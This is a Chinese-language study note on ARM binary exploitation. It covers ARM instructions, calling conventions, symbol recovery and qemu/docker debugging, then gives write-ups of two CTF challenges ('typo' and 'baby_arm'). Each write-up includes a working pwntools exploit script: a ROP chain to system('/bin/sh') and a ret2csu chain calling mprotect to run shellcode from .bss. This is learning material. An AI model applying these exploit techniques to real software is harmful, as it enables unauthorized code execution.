arm-pwn 学习
前言
arm指令
arm 下的函数调用约定:
函数的第 1 ~ 4 个参数分别保存在 r0 ~ r3 寄存器中, 剩下的参数从右向左依次入栈,
被调用者实现栈平衡,函数的返回值保存在 r0 中。
arm 的 b/bl 等指令实现跳转; pc 寄存器相当于 x86 的 eip,保存下一条指令的地址
BL 是另一个跳转指令,但跳转之前,会在寄存器R14中保存PC的当前内容,因此,可以通过将R14 的内容重新加载到PC中,来返回到跳转指令之后的那个指令处执行。
LDR{条件} 目的寄存器,<存储器地址>存储器地址>
LDR指令用于从存储器中将一个32位的字数据传送到目的寄存器中。该指令通常用于从存储器中读取32位的字数据到通用寄存器,然后对数据进行处理。
当程序计数器PC作为目的寄存器时,指令从存储器中读取的字数据被当作目的地址,从而可以实现程序流程的跳转。
LDR R0,[R1] ;将存储器地址为R1的字数据读入寄存器R0。
LDR R0,[R1,R2] ;将存储器地址为R1+R2的字数据读入寄存器R0。
LDR R0,[R1,#8] ;将存储器地址为R1+8的字数据读入寄存器R0。
LDR R0,[R1,R2] ! ;将存储器地址为R1+R2的字数据读入寄存器R0,并将新地址R1+R2写入R1。
LDR R0,[R1,#8] ! ;将存储器地址为R1+8的字数据读入寄存器R0,并将新地址R1+8写入R1。
LDR R0,[R1],R2 ;将存储器地址为R1的字数据读入寄存器R0,并将新地址R1+R2写入R1。
LDR R0,[R1,R2,LSL#2]! ;将存储器地址为R1+R2×4的字数据读入寄存器R0,并将新地址R1+R2×4写入R1。
LDR R0,[R1],R2,LSL#2 ;将存储器地址为R1的字数据读入寄存器R0,并将新地址R1+R2×4写入R1。
TEQ{条件} 操作数1,操作数2
TEQ指令用于把一个寄存器的内容和另一个寄存器的内容或立即数进行按位的异或运算,并根据运算结果更新CPSR中条件标志位的值。该指令通常用于比较操作数1和操作数2是否相等。
STR{条件} 源寄存器,<存储器地址>存储器地址>
STR指令用于从源寄存器中将一个32位的字数据传送到存储器中。该指令在程序设计中比较常用,且寻址方式灵活多样,使用方式可参考指令LDR。
STR R0,[R1],#8 ;将R0中的字数据写入以R1为地址的存储器中,并将新地址R1+8写入R1。
STR R0,[R1,#8] ;将R0中的字数据写入以R1+8为地址的存储器中。
BX{条件} 目标地址
BX指令跳转到指令中所指定的目标地址,目标地址处的指令既可以是ARM指令,也可以是Thumb指令。
STMFD R13!,{R0,R4-R12,LR} ;将寄存器列表中的寄存器(R0,R4到R12,LR)存入堆栈。
LDMFD R13!,{R0,R4-R12,PC} ;将堆栈内容恢复到寄存器(R0,R4到R12,LR)。
ARM64开始, 取消32位的LDM,STM,PUSH,PHP指令, 取而代之的是ldr/ldp,str/stp
ARM64里面对栈的操作是16字节对齐的
str(store register)
将数据从寄存器存到栈中, 同时操作两个寄存器时, 使用stp
ldr(load register)
将数据从栈读到寄存器中, 同时操作两个寄存器时, 使用ldp
sub sp,sp,#0x20 ;拉伸栈空间
stp x0,x1,[sp,#0x10] ;将x0,x1分别存放在sp+0x10开始的栈中
ldp x1,x0,[sp,#0x10] ;从sp+0x10为地址的栈中分别读取数据到x1,x0
add sp,sp,#0x20 ;平栈
ldp x29, x30, [sp], #0x10:将用sp所在地址值给x29、x30赋值,sp+0x10释放空间,保持栈平衡
将用sp所在地址值给x29、x30赋值
参考链接:
https://blog.csdn.net/qq_40531974/article/details/83897559
恢复符号表
对于静态编译的 bianry, 可以使用 lscan, flirt, rizzo, bindiff 等多种方法恢复部分符号表
https://www.freebuf.com/articles/terminal/134980.html
arm架构的libc在 /usr/arm-linux-gnueabihf/lib里面
尝试恢复符号表:
(1)下载对应libc.so
sudo apt install libc6-armhf-cross cp /usr/arm-linux-gnueabihf/lib/libc-2.23.so ./
(2)下载rizzo插件
使用rizzo插件:
https://github.com/fireundubh/IDA7-Rizzo
放入:C:\Program Files\IDA 7.0\plugins
(3)用IDA打开libc-2.23.so
导出libc.23.so.riz:
File->Produce file->Rizzo signature file
(4)打开目标程序
加载.riz:
File->Load file->Rizzo signature file
题目分析
typo题目分析
题目是简单的栈溢出,但是溢出的函数找了半天,后来根据随机产生的字符串查找,下图中红色部分在IDA的流程里没有识别出来,导致以为main函数已经结束了,而溢出的部分正是在红色部分。
溢出函数(0xbd24):
使用read的系统调用:
因为栈不可执行,寻找rop链,要控制r0寄存器:
pi@raspberrypi:~/study/arm/typo $ ROPgadget --binary ./typo --only "pop"
Gadgets information
============================================================
0x00008d1c : pop {fp, pc}
0x00020904 : pop {r0, r4, pc}
找到0x20904,将“/bin/sh”地址赋给r0,并将system的地址赋给pc,就可以执行system(“/bin/sh”)
from pwn import *
context.log_level = 'debug'
payload = "A"*112 + p32(0x20904) + p32(0x6c384)*2 + p32(0x110b4)
p = process("./typo")
p.recvuntil("quit")
p.send("\n")
p.recvuntil("----")
p.sendline(payload)
p.interactive()
baby-arm题目分析
环境安装
安装类似 libc6-ARCH-cross 形式
运行:
静态链接的 binary 直接运行即可,会自动调用对应架构的 qemu;
动态链接的 bianry 需要用对应的 qemu 同时指定共享库路径,如下32位的动态链接 mips binary
使用 -L 指定共享库:
$ qemu-mipsel -L /usr/mipsel-linux-gnu/ ./add
调试:
可以使用 qemu 的 -g 指定端口
$ qemu-mipsel -g 1234 -L /usr/mipsel-linux-gnu/ ./add
然后使用gdb-multiarch进行调试,先指定架构,然后使用remote功能
pwndbg> set architecture mips (但大多数情况下这一步可以省略, 似乎 pwndbg 能自动识别架构)
pwndbg> target remote localhost:1234
这样我们就能进行调试了
使用qemu-system-aarch64 -L /usr/aarch64-linux-gnu/ ./baby_arm 执行动态链接的程序失败,改用docker环境。
docker安装指南:
https://www.runoob.com/docker/ubuntu-docker-install.html
拉取镜像:
docker pull skysider/multiarch-docker
mips程序调试环境折腾,arm也可以用,通过multiarch-docker
启动docker
$ docker run -it \
--rm \
-h baby_arm \
--name baby_arm \
-v $(pwd):/ctf/work \
-P \
--cap-add=SYS_PTRACE \
skysider/multiarch-docker
运行docker镜像:
sudo docker ps -a 获得docker id
将所需文件复制到docker镜像中:
sudo docker cp ./baby_arm 207187a8a24d:/tmp/
docker exec -it id /bin/bash 运行两个
一个运行:
qemu-aarch64 -g 2333 ./demo
另一个运行:
gdb-multiarch ./demo 并在gdb中运行
target remote localhost:2333
docker里用pip install pwntools装不上,用下面的方式安装:
git clone https://github.com/Gallopsled/pwntools
cd pwntools
python setup.py install
官方说明:https://github.com/skysider/multiarch-docker
题目分析
该题有两次输入,第一次输入将数据放在.bss区,第二次输入存在一个栈溢出。
利用思路,将shellcode输入到.bss区,通过第二次输入的栈溢出进行rop,修改.bss区修改为可执行,并跳转到shellcode进行执行getshell。
利用 ret2csu 这种方法,可以找到如下的 gadgets 来控制 x0, x1, x2 寄存器
.text:00000000004008AC LDR X3, [X21,X19,LSL#3] //0x400600
.text:00000000004008B0 MOV X2, X22 //5
.text:00000000004008B4 MOV X1, X23 //0x1000
.text:00000000004008B8 MOV W0, W24 //0x410000,w0为r0的低32位。
.text:00000000004008BC ADD X19, X19, #1
.text:00000000004008C0 BLR X3
.text:00000000004008C4 CMP X19, X20
.text:00000000004008C8 B.NE loc_4008AC
.text:00000000004008CC
.text:00000000004008CC loc_4008CC ; CODE XREF: sub_400868+3C↑j
.text:00000000004008CC LDP X19, X20, [SP,#var_s10]
.text:00000000004008D0 LDP X21, X22, [SP,#var_s20]
.text:00000000004008D4 LDP X23, X24, [SP,#var_s30]
.text:00000000004008D8 LDP X29, X30, [SP+var_s0],#0x40
.text:00000000004008DC RET
LDP X19, X20, [SP,#var_s10] //0 1
LDP X21, X22, [SP,#var_s20] // 0x400600 5
LDP X23, X24, [SP,#var_s30] //0x1000 0x410000
LDP X29, X30, [SP+var_s0],#0x40
RET
X19必须为0,因为获取函数地址时,X3, [X21,X19,LSL#3],对X3 = X21+X19«3进行操作 所以最终的栈空间分布为:
0x00000000004008cc
0x0000000000000000
0x00000000004008ac
0x0000000000000000
0x0000000000000001
0x0000000000411098
0x0000000000000005
0x0000000000001000
0x0000000000410000
0x0000000000000000
0x0000000000411068
exp 代码:
from pwn import *
binary = "./baby_arm"
context.log_level = "debug"
context.binary = binary
#io = process(["qemu-aarch64", binary])
io = process(["qemu-aarch64","-g", "1234", binary])
def csu_rop(call, x0, x1, x2):
payload = flat(0x4008cc,0,0x4008ac,0,1,call,x2,x1,x0,0)
return payload
if __name__ == "__main__":
elf = ELF("./baby_arm")
shellcode_addr = 0x411068
shellcode = ''#asm(shellcraft.aarch64.sh())
shellcode = shellcode.ljust(0x30,'\x00')
shellcode += str(p64(elf.plt["mprotect"]))
#shellcode += str(p64(0x411030))
io.recvuntil("Name")
raw_input()
io.sendline(shellcode)
payload = "a" * 72
payload += str(csu_rop(shellcode_addr+0x30, 0x410000, 0x1000, 5))
payload += str(flat(shellcode_addr))
io.sendline(payload)
io.interactive()
按照docker环境,利用target remote进行调试,断点设在0x40080c
sub_4007F0->main->0x4008cc(布置参数)->0x4008ac(call mprotect)->0x411068(调用shellcode)
sub_4007F0函数返回时:
此时返回地址为0x400858,虽然read函数在sub_4007f0里,但arm架构很奇怪,把返回地址放在局部变量上面(即放在sp+0x8的地方,sp+0x0给x29),所以只能去覆盖main函数的返回地址。
main函数返回时:
执行0x4008cc:
执行0x4008ac,因为ret2csu执行的是一个函数指针,所以传入X21的应该是保存函数地址的地址:
去执行mprotect(0x410000,0x1000,5),0x400600是mprotect函数的.plt地址:
去执行shellcode:
因为pwntools生成aarch64的shellcode失败,所以就只是填充了’\x00’。
参考链接:
arm pwn http://m4x.fun/post/how-2-pwn-an-arm-binary/
题目链接:https://github.com/De4dCr0w/ctf-pwn/tree/master/ARM